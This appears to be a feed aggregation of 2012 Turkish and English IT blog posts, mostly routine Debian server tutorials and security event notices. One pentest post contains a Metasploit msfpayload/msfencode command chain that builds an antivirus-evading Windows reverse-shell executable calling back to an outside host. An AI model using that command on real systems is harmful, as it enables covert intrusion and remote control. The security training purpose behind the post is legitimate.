# items

title: Veri tabanı Güvenliği Denetim Teknikleri Eğitimi
source: http://blog.bga.com.tr/genel/veri-tabani-guvenligi-denetim-teknikleri-egitimi-2
author: bga
description:
<p><img class="alignnone" title="DBSec" src="http://www.bga.com.tr/wp-content/uploads/2012/05/db_sec2-956x297.jpg" alt="" width="602" height="187" /></p>
<p><span style="color: #ff0000;"><strong>Eğitim Açıklaması</strong></span></p>
<p>Veri tabanı sistemleri bilgi çağının en önemli bileşenlerinden biridir ve her kurum için hayati önem taşır. Teknolojinin gelişmesi ve bilgiye erişilebilirliğin artmasıyla beraber bilginin güvenliğinin sağlanması ciddi derecede önem kazanmıştır, bununla beraber erişim ihlalleri giderek artmaktadır.</p>
<p>Erişim ihlallerinin önüne geçmek için bir takım önlemler alınmaktadır, bu önemlerin bir kısmı regülasyonlarla bir kısmı ise teknik yeterliliklerle sağlanmaktadır.</p>
<p>Eğitimde uçtan uca veri tabanı güvenliğinin teknik ve regüslasyon tarafları derinlemesine incelenecek, birebir uygulamalarla zenginleştirilecektir.<br />
Eğitim tüm veritabanı yönetim sistemlerini kapsamakla beraber içerikteki örnek uygulamalar Oracle Veritabanı üzerinde gerçekleştirilecektir.<span id="more-5683"></span></p>
<hr />
<p><span style="color: #ff0000;"><strong>Eğitim Seviyesi</strong></span></p>
<p><img title="Eğitim Seviyesi" src="http://www.bga.com.tr/wp-content/uploads/2010/05/orta_ok1.png" alt="" width="162" height="93" /></p>
<hr />
<p><span style="color: #ff0000;"><strong>Kimler Katılmalı</strong></span></p>
<p>Bu eğitim, IT güvenlik görevlileri, denetçiler, veritabanı yöneticileri,teftiş birimi çalışanları, güvenlik uzmanları konusunda çalışmalar yapan herkes için önemli ölçüde yarar sağlayacaktır.</p>
<hr />
<p><span style="color: #ff0000;"><strong>Eğitim Süresi</strong></span></p>
<p>2 Gün</p>
<hr />
<p><span style="color: #ff0000;"><strong>Sertifika</strong></span></p>
<p>Eğitime katılanlara, BGA tarafından katılım sertifikası verilecektir.</p>
<hr />
<p><span style="color: #ff0000;"><strong>Eğitim İçeriği</strong></span></p>
<p>Detaylı eğitim içeriğine <a href="http://blog.bga.com.tr/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cDovL3d3dy5iZ2EuY29tLnRyL3ZlcmktdGFiYW5pLWd1dmVubGlnaS1kZW5ldGltLXRla25pa2xlcmktZWdpdGltaS8=">http://www.bga.com.tr/veri-tabani-guvenligi-denetim-teknikleri-egitimi/</a> adresinden erişim sağlanabilir.</p>
 <img src="http://blog.bga.com.tr/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=5683" width="1" height="1" style="display: none;" />


title: Antivirus Bypass Teknikleri ve Tanınmaz Meterpreter Ajanı Oluşturma
author: bga
source:
http://blog.bga.com.tr/forensics/antivirus-bypass-teknikleri-ve-taninmaz-meterpreter-ajani-olusturma

description:
<p><a href="http://blog.bga.com.tr/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cDovL2Jsb2cuYmdhLmNvbS50ci93cC1jb250ZW50L3VwbG9hZHMvMjAxMi8wNS90cm9qYW5faG9yc2VfMS5qcGc="><img class="alignleft size-medium wp-image-5353" title="trojan_horse_1" src="http://blog.bga.com.tr/wp-content/uploads/2012/05/trojan_horse_1-300x211.jpg" alt="" width="300" height="211" /></a>Pentest çalışmalarında, hedef sistemi ele geçirdikden sonra yetkisiz işlevleri yerine getirecek bir payload&#8217;a ihtiyaç duyulur. Bu bir casus yazılım olabilir (trojan), uzakdan yönetim aracı olabilir (rat) veya hedef sistemde kod/komut çalıştırmanıza olanak sağlayan bir araç   (shellcode exec) olabilir.</p>
<p>BGA pentest ekibi, pentest çalışmalarında ve eğitimlerde multi platform çalışan ve gelişmiş özellikleri olan meterpreter payloadını sıklıkla tercih etmektedir.</p>
<p>Antivirus veya sezgisel antilogger&#8217;lar bu tür durumlarda işinizi zorlaştırabilir. Bu yazıda, antiviruslerin çalışma prensiblerine kısaca değinilmiş ve meterpreter ajanının antivirusler tarafından tanınmaz hale getirilmesi teorik olarak anlatılmıştır. Burada anlatılan yöntemler, backtrack 5 r2 üzerinde test edilmiştir ve meterpreter için geçerlidir fakat bu mantık  benzeri yazılımlar içinde uygulanabilir !</p>
<p><strong><span id="more-5337"></span>Antivusler Nasıl Çalışır ?</strong></p>
<ul>
<li>İmza tabanlı (Signature Based)</li>
<li>ShellCode Analizi</li>
<li>Sezgisel (heuristic)</li>
</ul>
<p><strong>İmza tabanlı (Signature Based)</strong></p>
<ul>
<li>Her imza bir zararlının karakteristik özelliklerini barındırır.</li>
<li>Tespit edilmiş viruslere ait imzaları içerir.</li>
<li>Hızlı sonuç verir.</li>
<li>Yeni nesil viruslere karşı savunmasızdır.</li>
<li>Zararlının tespit edilmesi, veritabanına konulması ve son kullanıcıya ulaşması yeni nesil tehtitler karşısında ciddi zaman kaybı yaşatmakdadır.</li>
</ul>
<p><strong>Sezgisel (heuristic)</strong></p>
<ul>
<li>Zararlıyı, sezgisel ve gerçek zamanlı davranış analizi yaparak tespit etmeye çalışır.</li>
</ul>
<div>Bu çalışma, metasploit framework projesinde bulunan farklı encoderları kullanarak meterpreter içeriğini antivirusler tarafından tanınmaz yapıp, ayrıca masum bir uygulama imajı kazandırmak üzere bir kaç satır kod eklemektedir.</div>
<div></div>
<div><strong>Metasploit Multi Encoder Kullanımı</strong></div>
<blockquote>
<div>./msfpayload windows/shell/reverse_tcp  LHOST=1.1.1.1 LPORT=4443 EXITFUNC=thread R |  ./msfencode -e x86/shikata_ga_nai -c 2 -t raw | ./msfencode -e x86/jmp_call_additive -c 2 -t raw | ./msfencode -e x86/call4_dword_xor  -c 2 -t raw | ./msfencode -e x86/jmp_call_additive -c 2 -t raw | ./msfencode -e x86/call4_dword_xor  -c 2 -t exe -o ajan007.exe</div>
</blockquote>
<div>Raw olarak encoderlara gönderilen meterpreter içeriği, encoding işleminden  sonra hex olarak bir dosyaya aktarılır ve ardından bir kaç satır çöp kod (c++ kodu)   eklenerek binary dosya oluşturulur.</div>
<div></div>
<div style="text-align: center;">Bu uygulamayı yapan v5.sh scriptinden bir ekran görüntüsü</div>
<div><a href="http://blog.bga.com.tr/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?url=aHR0cDovL2Jsb2cuYmdhLmNvbS50ci93cC1jb250ZW50L3VwbG9hZHMvMjAxMi8wNS9iZ2EtbWV0ZXJwcmV0ZXIucG5n"><img class="aligncenter  wp-image-5352" title="bga-meterpreter" src="http://blog.bga.com.tr/wp-content/uploads/2012/05/bga-meterpreter.png" alt="" width="449" height="398" /></a></div>
<div></div>
<div>Uygulama eğitim ve test amaçlı geliştirilmiştir, kaynak kodu BGA eğitimine katılanlara ve pentest yapılan firmalara verilmektedir.</div>
<div></div>
<div><strong>Bir kaç genel özelliği;</strong></div>
<div>- Farklı bağlantı türlerine sahip (bind,reverse_http/https/tcp)  meterpreter payloadı oluşturabilmektedir.</div>
<div>- 32 bit 64 bit sistemlerde çalışabilmektedir.</div>
<div>- Linux, Windows ve *BSD ailesinden her türlü işletim sisteminde çalışabilmektedir.</div>
<div>- Unix ve Windows uygulamalarına enfekte olabilmektedir.</div>
<div>- Autorun Script Desteği</div>
<div>- &#8230;.</div>
<div></div>
<div><span style="font-size: medium;"><strong>Yazar:</strong></span></div>
<div><span style="font-size: medium;"><strong>Ozan UÇAR</strong></span></div>
<div><span style="font-size: medium;"><strong>ozan.ucar@bga.com.tr</strong></span></div>
 <img src="http://blog.bga.com.tr/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=5337" width="1" height="1" style="display: none;" />


title: pfSense Squid Ldap Authentication with Windows Active Directory
author: ozan
source:
http://www.cehturkiye.com/index.php/2012/05/04/pfsense-squid-ldap-authentication-with-windows-active-directory/pfsense-squid-ldap-authentication-with-windows-active-directory.html

description:
pfSense Firewall üzerinde Squid proxy kullanılarak kullanıcıların bir Windows Active Directory ortamından ldap ile sorgulanmasını anlatan video, eğitim videoları kategorisine eklenmiştir. http://cehturkiye.com/videos/pfsense/ Videoyu tam ekran izlemek için, http://cehturkiye.com/videos/pfsense/squid-ldap-auth-with-ad/ &#160; &#160;


title: Hping3 x64 Kurulum Sorunu
author: ozan
source:
http://www.cehturkiye.com/index.php/2012/05/11/hping3-x64-kurulum-sorunu/hping3-x64-kurulum-sorunu.html

description:
Hping3 güçlü bir IP paket üreticisidir. Multiplatform çalışabilmektedir. x64 sistemlere kurarken aşağıdaki gibi bir hata verebilir; # ./configure build byteorder.c&#8230; create byteorder.h&#8230; ./configure: line 81: -: command not found &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; system type: LINUX LIBPCAP : PCAP=-lpcap PCAP_INCLUDE : MANPATH : /usr/local/man USE_TCL : -DUSE_TCL TCL_VER : TCL_INC : LIBTCL : -ltcl -lm -lpthread TCLSH : [...]


title: NOPcon Katılım Çağrısı
source: http://www.cehturkiye.com/index.php/2012/05/14/nopcon-katilim-cagrisi/nopcon-katilim-cagrisi.html
author: ozan
description:
Yerli ve yabancı alanında en iyi bilgi güvenliği uzmanları ve hackerlar ,  21 Mayıs&#8217;ta Istanbul Bilgi Üniversite&#8217;sinde düzenlenecek olan NOPcon Bilgi Güvenliği Konferansında buluşacak. Konferansta  Android, iPhone güvenliği, Kritik Sistemler (SCADA) Güvenliği,  Yazılım Güvenliği, Zararlı Yazılımlar , Exploit Geliştirme Teknikleri , Siber İstihbarat ve Siber Silahlanma gibi konulara değinilecektir. Bilgi Üniversitesi , Beyond Security,  VeriSign [...]


title: Siber Güvenlik Yaz Kampı 2012
author: ozan
source:
http://www.cehturkiye.com/index.php/2012/05/23/siber-guvenlik-yaz-kampi-2012/siber-guvenlik-yaz-kampi-2012.html

description:
Geçtiğimiz yıl 1.si  düzenlenen Siber Güvenlik Yaz Kampı bu yıl TÜBİTAK ile ortaklaşa düzenleniyor. TÜBİTAK ve Bilgi Güvenliği Akademisi, Türkiye’de siber güvenlik uzmanı eksikliğinin giderilmesine destek olmak ve kapasite geliştirilmesini sağlamak amacıyla üniversite öğrencilerine yönelik “Siber Güvenlik Yaz Kampı“ düzenlemektedir. 2-8 Temmuz 2012 tarihleri arasında gerçekleştirilecek kampta, öğrencilerimiz, 7 gün süre ile Gebze’de bulunan TÜBİTAK Türkiye Sanayi [...]


title: Installing and configuring vsftpd for local unix users
source: http://www.debiantutorials.com/installing-and-configuring-vsftpd-for-local-unix-users/
author: aip
description:
<p>vsftpd is a secure, fast and stable FTP server. In this tutorial we'll install the server allow local unix to access their home directories.</p>
<p>1. Install vsftpd</p>
<p><code>apt-get install vsftpd<br />
</code><span id="more-414"></span></p>
<p>2. Configure (pico /etc/vsftpd.conf)</p>
<p>By default, vsftpd only allows anonymous connections. Change the following config variables to enable local users to connect, allow writing and chroot users to home directories.</p>
<p><code>anonymous_enable=NO<br />
local_enable=YES<br />
write_enable=YES<br />
chroot_local_user=YES<br />
</code></p>
<p>3. Restart vsftpd</p>
<p><code>/etc/init.d/vsftpd restart<br />
</code></p>


title: Installing and using the IPMI tool
source: http://www.debiantutorials.com/installing-and-using-the-ipmi-tool/
author: aip
description:
<p>The Intelligent Platform Management Interface (IPMI) is a standardized computer system interface used by system administrators to manage a computer system and monitor its operation.</p>
<p>The development of this interface specification was led by Intel Corporation and is supported by more than two hundred computer systems vendors including Dell, Hewlett-Packard, Intel, and NEC Corporation.</p>
<p>1. Install the ipmitool which is used to send commands and receive information from the management interface.</p>
<p><code>apt-get install ipmitool<br />
</code><span id="more-416"></span></p>
<p>2. Use this command to send and receive information to a remote server</p>
<p><code>ipmitool -H {ip_address} -U {username} -a {ipmi_command}<br />
</code></p>
<p><em>You can also skip the "-a" parameter (which makes ipmitool prompt for a password everytime) and add "-P {password}" to avoid the password prompt.</em></p>
<p><strong>Here are some examples of useful commands</strong></p>
<p>Get hardware status (including hardware failures and power status)</p>
<p><code>ipmitool -H {ip_address} -U {username} -a chassis status<br />
</code></p>
<p>List all sensor values (including temperature, fan speed, voltage and more)</p>
<p><code>ipmitool -H {ip_address} -U {username} -a sensor list<br />
</code></p>
<p>Print system event log</p>
<p><code>ipmitool -H {ip_address} -U {username} -a sel list<br />
</code></p>
<p>Check if your server is on or off</p>
<p><code>ipmitool -H {ip_address} -U {username} -a chassis power status<br />
</code></p>
<p>Power off the server (soft shutdown via ACPI)</p>
<p><code>ipmitool -H {ip_address} -U {username} -a chassis power soft<br />
</code></p>
<p>Power off the server (hard)</p>
<p><code>ipmitool -H {ip_address} -U {username} -a chassis power off<br />
</code></p>
<p>Start the server</p>
<p><code>ipmitool -H {ip_address} -U {username} -a chassis power on<br />
</code></p>
<p>Restart server (hard)</p>
<p><code>ipmitool -H {ip_address} -U {username} -a chassis power reset<br />
</code></p>


title: Scan your server for rootkits with rkhunter
source: http://www.debiantutorials.com/scan-your-server-for-rootkits-with-rkhunter/
author: aip
description:
<p><img src="/wp-content/uploads/2011/11/rkhunter.png" alt="Rootkit hunter (rkhunter)" align="right" style="margin-left:10px" />rkhunter (Rootkit Hunter) is a tool that scans for rootkits, backdoors and possible local exploits. It does this by comparing SHA-1 hashes of important files with known good ones in online database, searching for default directories (of rootkits), wrong permissions, hidden files, suspicious strings in kernel modules, and special tests for Linux and FreeBSD.</p>
<p>1. Install rkhunter</p>
<p><code>apt-get install rkhunter<br />
</code><span id="more-421"></span></p>
<p>2. Run rkhunter to check your server</p>
<p><code>rkhunter --check<br />
</code></p>


title: Monitoring Varnish with Munin
source: http://www.debiantutorials.com/monitoring-varnish-with-munin/
author: admin
description:
<p>Varnish is a great reverse proxy and very useful for load balancing. Here you can find a tutorial on installing Varnish: <a href="http://www.debiantutorials.com/installing-and-configuring-varnish-http-accelerator/">Installing and configuring Varnish HTTP accelerator</a>.</p>
<p>Munin is a network/system monitoring application that presents output in graphs through a web interface. If you haven't installed it already, use this tutorial: <a href="http://www.debiantutorials.com/monitoring-multiple-servers-with-munin/">Monitoring multiple servers with Munin</a>.</p>
<p>Assuming you have both varnish and munin installed, here's a tutorial on installing a plugin for munin to monitor Varnish.</p>
<p>1. Install git-core to receive the plugin from github</p>
<p><code>apt-get install git-core<br />
</code><span id="more-427"></span></p>
<p>2. cd into the munin plugins directory</p>
<p><code>/usr/share/munin/plugins<br />
</code></p>
<p>3. Download the munin-varnish plugin</p>
<p><code>git clone git://github.com/basiszwo/munin-varnish.git<br />
</code></p>
<p>4. Set correct permissions</p>
<p><code>chmod a+x /usr/share/munin/plugins/munin-varnish/varnish_*<br />
</code></p>
<p>5. Link the plugin sections to the munin config</p>
<p><code>ln -s /usr/share/munin/plugins/munin-varnish/varnish_* /etc/munin/plugins/<br />
</code></p>
<p>6. Add these lines to the bottom of the munin-node config (pico /etc/munin/plugin-conf.d/munin-node)</p>
<p><code>[varnish*]<br />
user root<br />
</code></p>
<p>7. Restart munin-node</p>
<p><code>/etc/init.d/munin-node restart<br />
</code></p>


title: Installing PowerDNS as supermaster with slaves
source: http://www.debiantutorials.com/installing-powerdns-as-supermaster-with-slaves/
author: aip
description:
<p>The PowerDNS Nameserver is a modern, advanced and high performance authoritative-only nameserver. It is written from scratch and conforms to all relevant DNS standards documents. Furthermore, PowerDNS interfaces with almost any database.</p>
<p>This tutorial has been tested to be working on Debian squeeze. It's assumed that you are installing one supermaster and one or more slaves that will sync with the master automatically.</p>
<p><strong>On all servers</strong></p>
<p>1. Install the PowerDNS server and MySql backend using apt</p>
<p><code>apt-get install pdns-server pdns-backend-mysql<br />
</code><span id="more-432"></span></p>
<p>2. Create a new database (or use existing) and execute the following SQL queries to create the PowerDNS table structure:</p>
<p><code>create table domains (<br />
id INT auto_increment,<br />
name VARCHAR(255) NOT NULL,<br />
master VARCHAR(128) DEFAULT NULL,<br />
last_check INT DEFAULT NULL,<br />
type VARCHAR(6) NOT NULL,<br />
notified_serial INT DEFAULT NULL,<br />
account VARCHAR(40) DEFAULT NULL,<br />
primary key (id)<br />
)type=InnoDB;<br />
&nbsp;<br />
CREATE UNIQUE INDEX name_index ON domains(name);<br />
&nbsp;<br />
CREATE TABLE records (<br />
id INT auto_increment,<br />
domain_id INT DEFAULT NULL,<br />
name VARCHAR(255) DEFAULT NULL,<br />
type VARCHAR(6) DEFAULT NULL,<br />
content VARCHAR(255) DEFAULT NULL,<br />
ttl INT DEFAULT NULL,<br />
prio INT DEFAULT NULL,<br />
change_date INT DEFAULT NULL,<br />
primary key(id)<br />
)type=InnoDB;<br />
&nbsp;<br />
CREATE INDEX rec_name_index ON records(name);<br />
CREATE INDEX nametype_index ON records(name,type);<br />
CREATE INDEX domain_id ON records(domain_id);<br />
&nbsp;<br />
create table supermasters (<br />
ip VARCHAR(25) NOT NULL,<br />
nameserver VARCHAR(255) NOT NULL,<br />
account VARCHAR(40) DEFAULT NULL<br />
);<br />
</code></p>
<p>3. Configure PowerDNS to use the MySql backend by adding this line into the configuration file (pico /etc/powerdns/pdns.conf)</p>
<p><code>launch=gmysql<br />
</code></p>
<p>4. Configure MySql login information for the PowerDNS by adding lines similar to these (pico /etc/powerdns/pdns.d/pdns.local).</p>
<p><code>gmysql-host=127.0.0.1<br />
gmysql-user=pdns<br />
gmysql-password=password<br />
gmysql-dbname=pdns<br />
</code></p>
<p>Replace the username, password and dbname with a valid login information and database name. Each DNS server in the cluster needs to have a dedicated local database.</p>
<p><strong>On the master server</strong></p>
<p>5. Allow zone transferes and enable master operation. (pico /etc/powerdns/pdns.conf)</p>
<p><code>allow-axfr-ips=10.0.0.2<br />
disable-axfr=no<br />
master=yes<br />
</code></p>
<p>6. Add a new zone</p>
<p><code>INSERT INTO domains (name, type) VALUES ('example.org', 'MASTER');<br />
INSERT INTO records (domain_id, name, content, type, ttl, prio) VALUES (1, 'example.org', 'ns1.example.org hostmaster.example.org 1', 'SOA', 86400, NULL);<br />
INSERT INTO records (domain_id, name, content, type, ttl, prio) VALUES (1, 'example.org', 'ns1.example.org', 'NS', 86400, NULL);<br />
INSERT INTO records (domain_id, name, content, type, ttl, prio) VALUES (1, 'example.org', 'ns2.example.org', 'NS', 86400, NULL);<br />
INSERT INTO records (domain_id, name, content, type, ttl, prio) VALUES (1, 'ns1.example.org', '10.0.0.1', 'A', 86400, NULL);<br />
INSERT INTO records (domain_id, name, content, type, ttl, prio) VALUES (1, 'ns2.example.org', '10.0.0.2', 'A', 86400, NULL);<br />
</code></p>
<p><strong>On the slaves</strong></p>
<p>7. Enable slave operation (pico /etc/powerdns/pdns.conf)</p>
<p><code>slave=yes<br />
</code></p>
<p>8. Make the master server a supermaster for the slave. If supermaster is specified, all new zones will be added automatically to the slave when notified by the master.</p>
<p><code>INSERT INTO supermasters (ip, nameserver, account) VALUES ('10.0.0.1', 'ns2.example.org', '');<br />
</code></p>
<p><em>Assuming the master IP address is 10.0.0.1</em></p>
<p><strong>On master and slaves</strong></p>
<p>9. Restart PowerDNS</p>
<p><code>/etc/init.d/pdns restart<br />
</code></p>
<p><strong>On the master</strong></p>
<p>10. Trigger a notify</p>
<p><code>UPDATE records SET content = 'ns1.example.org hostmaster.example.org 2' WHERE type = 'SOA' AND name = 'example.org';<br />
</code></p>
<p><em>Increasing the serial will sync data from the master to the slave</em></p>


title: Scan your web server for vulnerabilities with Nikto on squeeze
source: http://www.debiantutorials.com/scan-your-web-server-for-vulnerabilities-with-nikto-on-squeeze/
author: aip
description:
<p>Nikto is a web server scanner which performs comprehensive tests against web servers for multiple items, including over 3500 potentially dangerous files/CGIs, versions on over 900 servers, and version specific problems on over 250 servers.</p>
<p>1. Add non-free archive to apt sources (pico /etc/apt/sources.list)</p>
<p><code>deb http://ftp.uk.debian.org/debian/ squeeze main non-free<br />
deb-src http://ftp.uk.debian.org/debian/ squeeze main non-free<br />
</code><span id="more-436"></span></p>
<p><em>Add non-free behind main in both lines</em></p>
<p>2. Update the package list</p>
<p><code>apt-get update<br />
</code></p>
<p>3. Install Nikto</p>
<p>apt-get install nikto</p>
<p>4. Test the local web server</p>
<p>nikto -h localhost</p>
<p>Nikto also supports testing on different ports. <a href="http://cirt.net/nikto2-docs/usage.html" target="_blank">Click here for Nikto usage information</a>.</p>


title: Installing PowerDNS with MySql backend
source: http://www.debiantutorials.com/installing-powerdns-with-mysql-backend/
author: aip
description:
<p>The PowerDNS Nameserver is a modern, advanced and high performance authoritative-only nameserver. It is written from scratch and conforms to all relevant DNS standards documents. Furthermore, PowerDNS interfaces with almost any database.</p>
<p>This tutorial has been tested and is working on Debian etch and lenny</p>
<p>1. Install the PowerDNS server and MySql backend using apt</p>
<p><code>apt-get install pdns-server pdns-backend-mysql<br />
</code><span id="more-439"></span></p>
<p>2. Create a new database (or use existing) and execute the following SQL queries to create the PowerDNS table structure:</p>
<p><code>create table domains (<br />
id		 INT auto_increment,<br />
name		 VARCHAR(255) NOT NULL,<br />
master		 VARCHAR(128) DEFAULT NULL,<br />
last_check	 INT DEFAULT NULL,<br />
type		 VARCHAR(6) NOT NULL,<br />
notified_serial INT DEFAULT NULL,<br />
account         VARCHAR(40) DEFAULT NULL,<br />
primary key (id)<br />
)type=InnoDB;<br />
&nbsp;<br />
CREATE UNIQUE INDEX name_index ON domains(name);<br />
&nbsp;<br />
CREATE TABLE records (<br />
id              INT auto_increment,<br />
domain_id       INT DEFAULT NULL,<br />
name            VARCHAR(255) DEFAULT NULL,<br />
type            VARCHAR(6) DEFAULT NULL,<br />
content         VARCHAR(255) DEFAULT NULL,<br />
ttl             INT DEFAULT NULL,<br />
prio            INT DEFAULT NULL,<br />
change_date     INT DEFAULT NULL,<br />
primary key(id)<br />
)type=InnoDB;<br />
&nbsp;<br />
CREATE INDEX rec_name_index ON records(name);<br />
CREATE INDEX nametype_index ON records(name,type);<br />
CREATE INDEX domain_id ON records(domain_id);<br />
&nbsp;<br />
create table supermasters (<br />
ip VARCHAR(25) NOT NULL,<br />
nameserver VARCHAR(255) NOT NULL,<br />
account VARCHAR(40) DEFAULT NULL<br />
);<br />
</code></p>
<p>3. Configure PowerDNS to use the MySql backend by adding this line into the configuration file (pico /etc/powerdns/pdns.conf)</p>
<p><code>launch=gmysql<br />
</code></p>
<p>4. Configure MySql login information for the PowerDNS server that can read from the tables you created earlier by adding lines similar to these (pico /etc/powerdns/pdns.d/pdns.local)</p>
<p><code>gmysql-host=127.0.0.1<br />
gmysql-user=pdns<br />
gmysql-password=password<br />
gmysql-dbname=pdns<br />
</code></p>
<p><em>Replace the username, password and dbname with a valid login information and database name.</em></p>
<p>5. Restart PowerDNS</p>
<p><code>/etc/init.d/pdns restart<br />
</code></p>
<p>Now you should have a fully functional PowerDNS server installed. To manage the database (adding zones and records), consider using the <a href="http://www.poweradmin.org">Poweradmin</a> web-based administration tool.</p>


title: Installing VMware tools on squeeze
source: http://www.debiantutorials.com/installing-vmware-tools-on-squeeze/
author: aip
description:
<p>The VMware Tools package adds drivers and utilities to improve the graphical performance for different guest operating systems, including mouse tracking. The package also enables some integration between the guest and host systems, including shared folders, plug-and-play devices, clock synchronisation, and cutting-and-pasting across environments.</p>
<p>This tutorial has been tested on Debian squeeze running on VMware ESXi 4.x but should work on all latest VMware hosts.</p>
<p>1. Install kernel headers and tools required to compile and install VMware tools:</p>
<p><code>apt-get install binutils cpp gcc make psmisc linux-headers-$(uname -r)<br />
</code><span id="more-446"></span></p>
<p>2. Mount the cdrom drive inside the guest server. Make sure you have mounted the VMware tools virtual cd from the host before moving on.</p>
<p><code>mount /dev/cdrom /mnt/<br />
</code></p>
<p>3. Extract VMware tools to the tmp directory:</p>
<p><code>tar -C /tmp -zxvf /mnt/VMwareTools-x.x.x-x.tar.gz<br />
</code></p>
<p><i>The filename depends on the host version.</i></p>
<p>4. We have already extracted the files to a temporary locations and the virtual disk isn't needed anymore. Unmount the virtual cd:</p>
<p><code>umount /mnt<br />
</code></p>
<p>5. Start the installation:</p>
<p><code>/tmp/vmware-tools-distrib/vmware-install.pl<br />
</code></p>
<p><i>Accept the defaults for every question. Make sure you're located inside the vmware-tools-distrib folder when executing the vmware-install.pl script or the installation may fail.</i></p>
<p>VMware tools is now installed and configured. If you're using X you may need to restart the machine or the X session to get all features working.</p>


title: Enable Active Directory / LDAP authentication in Apache
source: http://www.debiantutorials.com/enable-active-directory-ldap-authentication-in-apache/
author: aip
description:
<p>If you already have a central directory of users installed (AD or LDAP) you can configure most applications to use that directory instead of a local database for each application and make the user management much easier. Apache supports that so here are instructions on how to password protect a site or location using LDAP directory.</p>
<p>In squeeze, the Apache LDAP module is already installed with the Apache common package. You just need to enable the module and configure.</p>
<p>1. Enable the LDAP module</p>
<p><code>a2enmod authnz_ldap<br />
</code><span id="more-455"></span></p>
<p>2. Add Auth config variables to the site or directory that should be password protected (ex. pico /etc/apache2/sites-enabled/000-default). In this example, the "/protected" relative location will be password protected. You can protect any Location or Directory using the same method.</p>
<p><code>&lt;Location /protected&gt;<br />
AuthType Basic<br />
AuthBasicProvider ldap<br />
AuthzLDAPAuthoritative on<br />
AuthName "Password protected. Enter your AD username and password."<br />
AuthLDAPURL "ldap://{host_or_ip}/CN=Users,DC=example,DC=org?sAMAccountName?sub?(objectClass=*)"<br />
AuthLDAPBindDN "{username}@example.org"<br />
AuthLDAPBindPassword {password}<br />
Require valid-user<br />
&lt;/Location&gt;<br />
</code></p>
<p><em>Replace {host_or_ip} with the AD/LDAP server hostname or IP address. Change example.org to your domain. Enter username and password for a user that has access to the domain.</em></p>
<p>The last line, "Require valid-user" will allow any user in the directory to login. To allow only certain users, change that line to:</p>
<p><code>Require ldap-user user1 user2<br />
</code></p>
<p>To allow only users from a specific group, change "Require valid-user" to:</p>
<p><code>Require ldap-group CN={group},CN=Users,dc=example,dc=org<br />
</code></p>
<p><em>Replace {group} to the name of a group and type correct domain name instead of example.org.</em></p>
<p>3. Restart Apache</p>
<p><code>/etc/init.d/apache2 restart<br />
</code></p>


title: How to monitor SNMP devices with MRTG
source: http://www.debiantutorials.com/how-to-monitor-snmp-devices-with-mrtg/
author: aip
description:
<p><img src="http://www.debiantutorials.com/wp-content/uploads/2012/05/mrtg.png" alt="Multi Router Traffic Grapher (MRTG)" align="right" style="width:400px;margin-left:10px" />The Multi Router Traffic Grapher (MRTG) is free software for monitoring and measuring the traffic load on network links. It allows the user to see traffic load on a network over time in graphical form.</p>
<p>1. Install MRTG</p>
<p><code>apt-get install mrtg<br />
</code><span id="more-462"></span></p>
<p>2. Create a config file with the cfgmaker tool by connecting to a SNMP device. cfgmaker will automatically detect the interfaces that can be monitored.</p>
<p><code>cfgmaker {community}@{ip_address} > /etc/mrtg-{device}.cfg<br />
</code></p>
<p><em>Set the config values:</p>
<p>{community} = The SNMP community, usually it's "public" by default.<br />
{ip_address} = host name or IP address of the device being monitored.<br />
{device} = Some name describing the device being monitored, ex. firewall, router etc.</em></p>
<p>3. Create the working directory. If you open the config file with a text editor you can see the working directory. MRTG will store log files, html and graphs here. This should be a directory that is readable by a web server. In this example I'll use the default, /var/www/mrtg.</p>
<p><code>mkdir /var/www/mrtg<br />
</code></p>
<p>4. Make MRTG collect data and create graphs every 5 minutes by adding a job to crontab. (crontab -e)</p>
<p><code>*/5 * * * * env LANG=C /usr/bin/mrtg /etc/mrtg-{device}.cfg<br />
</code></p>
<p><em>Replace {device} with the name used when you created the config file.</em></p>
<p>5. Create index file showing graphs for all interfaces of the device being monitored.</p>
<p><code>indexmaker /etc/mrtg-{device}.cfg > /var/www/mrtg/index.html<br />
</code></p>
<p><em>Replace {device} with the name used when you created the config file. If you changed the working directory you also need to modify it here.<br />
</em></p>
<p>6. Open the working directory in a browser, http://{ip_address}/mrtg</p>
<p><em>Replace {ip_address} with the host name or IP address of the web server. If you changed the working directory, this location may be different.</em></p>


title: Critical Product Vulnerability – May 2012 Microsoft Security Bulletin Release
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/critical-product-vulnerability-may-2012-microsoft-security-bulletin-release.html?utm_source=rss&utm_medium=rss&utm_campaign=critical-product-vulnerability-may-2012-microsoft-security-bulletin-release

description:
What is the purpose of this alert? This alert is to provide you with an overview of the new security bulletin(s) being released on May 08, 2012. Security bulletins are released monthly to resolve critical problem vulnerabilities. &#160;&#160;&#160;&#160;&#160;&#160;&#160; New Security Bulletins Microsoft is releasing the following seven new security bulletins for newly discovered vulnerabilities: &#160; [...]


title: Windows Live’e veda zamanı
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/windows-livee-veda-zamani.html?utm_source=rss&utm_medium=rss&utm_campaign=windows-livee-veda-zamani

description:
Microsoft, Windows 8&#8242;in çıkışı ile Windows Live markasını tarihe gömecek &#8211;> &#160; Windows 8 ile çevrimiçi hizmetlerle daha sıkı bütünleşen uygulamalar sunacak olan Microsoft, Windows Live markasını emekliye ayırmaya hazırlanıyor. Microsoft, bir blog gönderisinde yaptığı açıklamada SkyDrive depolama hizmeti ve Messenger IM hizmetinin Windows Live hizmetiyle yeteri kadar bütünleşmediğini söyledi. Sorun, Windows işletim sistemlerinin şimdiye [...]


title: Free Hyper-V Backup tool – open source project‏
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/free-hyper-v-backup-tool-open-source-project%e2%80%8f.html?utm_source=rss&utm_medium=rss&utm_campaign=free-hyper-v-backup-tool-open-source-project%25e2%2580%258f

description:
Henüz beta aşamasında olan ücretsiz bir Hyper-V yedekleme aracı, denemenizi tavsiye ederim. Project Description The main goal of this project is to provide a very easy and powerful free tool to backup and restore Hyper-V virtual machines, in standalone and clustered (CSV) environments, overcoming all the limitations that a generic tool like Diskshadow provides. This [...]


title: Microsoft Mac kullanıcılarını gözüne kestirdi
author: Tayfun DEĞER
source:
